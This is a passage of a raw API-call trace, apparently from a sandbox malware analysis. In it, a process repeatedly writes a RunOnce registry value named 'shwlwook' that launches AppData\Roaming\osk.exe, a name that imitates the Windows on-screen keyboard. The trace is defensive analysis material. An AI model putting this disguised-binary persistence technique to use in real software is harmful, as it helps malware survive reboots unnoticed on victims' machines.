wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.976] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.976] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.977] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.977] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.977] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.978] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.978] RegCloseKey (hKey=0x14c) returned 0x0 [0258.978] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.978] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.992] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.992] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.992] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.993] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.993] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.993] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.993] RegCloseKey (hKey=0x14c) returned 0x0 [0258.994] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.994] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.011] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.011] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.011] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.012] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.012] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.012] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.012] RegCloseKey (hKey=0x14c) returned 0x0 [0259.013] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.013] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.023] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.023] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.024] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.024] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.024] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.025] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.025] RegCloseKey (hKey=0x14c) returned 0x0 [0259.025] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.025] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.039] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.039] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.039] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.040] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.040] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.040] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.040] RegCloseKey (hKey=0x14c) returned 0x0 [0259.041] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.041] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.055] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.055] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.055] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.056] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.056] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.056] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.056] RegCloseKey (hKey=0x14c) returned 0x0 [0259.057] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.057] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.070] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.070] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.070] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.071] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.071] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.071] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.072] RegCloseKey (hKey=0x14c) returned 0x0 [0259.072] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.072] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.086] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.086] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.086] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.087] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.087] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.087] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.087] RegCloseKey (hKey=0x14c) returned 0x0 [0259.087] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.088] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.101] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.102] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.102] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.102] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.103] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.103] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.103] RegCloseKey (hKey=0x14c) returned 0x0 [0259.103] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.104] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.117] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.117] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.117] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.118] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.118] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.118] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.118] RegCloseKey (hKey=0x14c) returned 0x0 [0259.119] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.119] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.133] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.133] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.133] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.134] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.134] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.134] RegCloseKey (hKey=0x14c) returned 0x0 [0259.134] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.135] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.181] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.181] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.181] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.182] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.182] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.182] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.182] RegCloseKey (hKey=0x14c) returned 0x0 [0259.183] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.183] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.195] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.195] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.195] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.196] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.196] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.196] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0259.197] RegCloseKey (hKey=0x14c) returned 0x0 [0259.197] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0259.197] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0259.211] TranslateMessage (lpMsg=0x95f69c) returned 0 [0259.211] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0259.211] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0259.212] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0259.212] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0259.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0259.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0259.212] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", 